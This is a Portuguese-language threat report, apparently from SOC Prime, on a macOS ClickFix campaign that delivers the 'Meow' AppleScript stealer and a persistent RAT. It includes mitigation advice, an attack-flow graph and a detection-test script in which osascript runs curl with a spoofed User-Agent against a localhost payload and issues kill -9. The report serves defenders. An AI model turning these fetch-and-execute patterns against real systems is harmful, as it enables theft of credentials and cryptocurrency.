Iscas do ClickFix no macOS Desdobram-se em um Ladrão AppleScript e um RAT Persistente

SOC Prime Team

Seguir

Iscas do ClickFix no macOS Desdobram-se em um Ladrão AppleScript e um RAT Persistente

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Um agente de ameaça falante de russo está usando uma campanha de engenharia social ClickFix para implantar uma infecção de malware macOS em duas etapas. O ataque começa com uma cadeia de execução sem arquivo lançada por meio de comandos do terminal e entrega um infostealer baseado em AppleScript chamado Meow (DEBUG), juntamente com um trojan de acesso remoto persistente. O malware tem como alvo carteiras de criptomoedas, credenciais de navegadores e dados de sessões de mensagens, além de realizar injeção de código intrusiva em aplicativos de carteira de desktop.

Investigação

Os Laboratórios de Ameaças da Netskope identificaram uma versão atualizada da campanha em 31 de maio de 2026, mostrando uma mudança de um stealer básico para um RAT mais capaz. A análise deles revelou um fluxo de infecção sofisticado sem arquivo, lógica de geofencing projetada para evitar vítimas falantes de russo e reassinatura ad-hoc usada para contornar as proteções do Gatekeeper do macOS. Os pesquisadores também vincularam a campanha a 25 domínios de isca de curta duração que compartilhavam as mesmas informações de contato do registrador.

Mitigação

Os defensores devem priorizar o bloqueio de domínios de isca e monitorar comandos do terminal suspeitos envolvendo curl and osascript. As organizações devem aplicar controles mais rigorosos sobre o acesso ao terminal e observar alterações não autorizadas aos pacotes de aplicativos de carteira de criptomoedas. A detecção baseada em host também pode focar no plist de persistência com.apple.accountsd e o /tmp/shub_ padrão de estágio.

Resposta

Se esta atividade for detectada, isole o host macOS afetado imediatamente para interromper o roubo de dados ou o movimento lateral potencial. Todas as carteiras de criptomoedas de desktop instaladas devem ser tratadas como comprometidas e reinstaladas a partir de fontes confiáveis. Os investigadores também devem realizar uma revisão forense dos LaunchDaemons e LaunchAgents para entradas não autorizadas, com atenção especial ao com.apple.accountsd.

"graph TB %% Definições de Classe classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Acesso Inicial e Execução attack_drive_by["Ação – Comprometimento por Drive-by Vítimas visitam domínios de isca maliciosos tais como filesapphirecanvas.sbs ou filemintcastle.sbs disfarçados como utilitários macOS ou repositórios GitHub."] class attack_drive_by action attack_user_exec_copy["Ação – Execução pelo Usuário: Cópia e Colagem Maliciosa Engenharia social para que as vítimas copiem comandos de sites falsos para o Terminal macOS."] class attack_user_exec_copy action attack_obfuscation["Ação – Arquivos ou Informação Ofuscada: Payloads Embutidos Utiliza gzip-comprimido e base64-codificado heredoc para executar um carregador da fase 1 na memória."] class attack_obfuscation action %% Lógica do Carregador e Guardrails loader_stage1["Processo – Carregador Residente em Memória Executa via cadeia de comando ofuscada para evitar pegada de disco."] class loader_stage1 tool guardrail_geofence["Ação – Guardrails de Execução: Exclusão Mútua Verifica o layout do teclado macOS para evitar usuários falantes de russo via lógica de geofencing."] class guardrail_geofence action loader_reflective["Ação – Carregamento de Código Reflexivo Busca o AppleScript de segunda fase via curl e insere diretamente na memória osascript."] class loader_reflective action %% Payload e Roubo de Credenciais malware_meow["Malware – Payload Meow Payload residente em memória ativo após carregamento reflexivo."] class malware_meow malware attack_gui_capture["Ação – Captura de Entrada: Captura de Entrada GUI Usa um diálogo de Preferências do Sistema falsificado para coletar senhas de login dos usuários."] class attack_gui_capture action attack_securityd["Ação – Credenciais de Armazenamento de Senhas: Memória do Securityd Desbloqueia a chaveiro do macOS para extrair chaves de Armazenamento Seguro usando senhas coletadas."] class attack_securityd action %% Roubo de Dados e Exfiltração attack_browser_discovery["Ação – Descoberta de Informações do Navegador Busca por dados de navegador em Chrome, Safari e Firefox."] class attack_browser_discovery action attack_session_steal["Ação – Roubo de Cookie de Sessão Web Exfiltra cookies de sessão para manter acesso não autorizado."] class attack_session_steal exfiltration attack_crypto_theft["Ação – Roubo Financeiro Alveja carteiras de criptomoedas incluindo extensões MetaMask e aplicativos de desktop como Exodus e Ledger."] class attack_crypto_theft exfiltration %% Persistência e C2 persistence_launch["Persistência – LaunchAgent ou LaunchDaemon Cria um mecanismo persistente disfarçado como com.apple.accountsd."] class persistence_launch persistence c2_beaconing["Ação – Comando e Controle Estabelece um loop de beaconing de 60 segundos com Resolução Dinâmica para execução de código arbitrário."] class c2_beaconing tool %% Conexões attack_drive_by –>|leva_a| attack_user_exec_copy attack_user_exec_copy –>|dispara| attack_obfuscation attack_obfuscation –>|executa| loader_stage1 loader_stage1 –>|executa| guardrail_geofence guardrail_geofence –>|habilita| loader_reflective loader_reflective –>|carrega| malware_meow malware_meow –>|executa| attack_gui_capture attack_gui_capture –>|facilita| attack_securityd attack_securityd –>|leva_a| attack_browser_discovery attack_browser_discovery –>|leva_a| attack_session_steal attack_browser_discovery –>|leva_a| attack_crypto_theft malware_meow –>|estabelece| persistence_launch malware_meow –>|comunica_com| c2_beaconing "

Fluxo de Ataque

Narrativa do Ataque & Comandos: Um adversário ganhou acesso inicial através de um site malicioso. Eles executam um AppleScript sem arquivo no macOS para evitar a análise baseada em arquivos. O objetivo do script é baixar um payload secundário falsificando um User-Agent legítimo do navegador Chrome para evadir a inspeção básica da rede e, em seguida, finalizar imediatamente qualquer aplicativo de carteira de criptomoeda em execução para impedir que o usuário proteja seus fundos. O atacante usa osascript para chamar curl com flags específicas e kill -9 para executar essas ações.

Script de Teste de Regressão:

#!/bin/bash
# Simulação de Stealer de AppleScript sem arquivos no macOS

echo "[+] Iniciando Simulação: Stealer sem arquivos no macOS"

# Etapa 1: Simular a busca de payload via curl por osascript (Aciona selection_curl_ua)
echo "[+] Executando Etapa 1: Curl Falsificado via osascript..."
osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &

# Aguardar um momento para a criação do processo
sleep 2

# Etapa 2: Simular finalização do processo (Aciona selection_kill)
# Usamos um processo de teste para matar para não perturbar o sistema
echo "[+] Executando Etapa 2: Finalização do Processo via osascript..."
sleep 1
osascript -e 'do shell script "kill -9 $$"' # Nota: Isso mata o subshell atual, simulando a intenção

# Nota: Para uma simulação mais limpa que imita um alvo real:
# sleep 1 && sleep 1 & 
# osascript -e 'do shell script "kill -9 $!"'

echo "[+] Comandos de Simulação Enviados."

Comandos de Limpeza:

# Nenhum arquivo foi criado pelo script, mas garantimos que não existam processos em segundo plano.
killall osascript 2>/dev/null
echo "[+] Limpeza Completa."

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente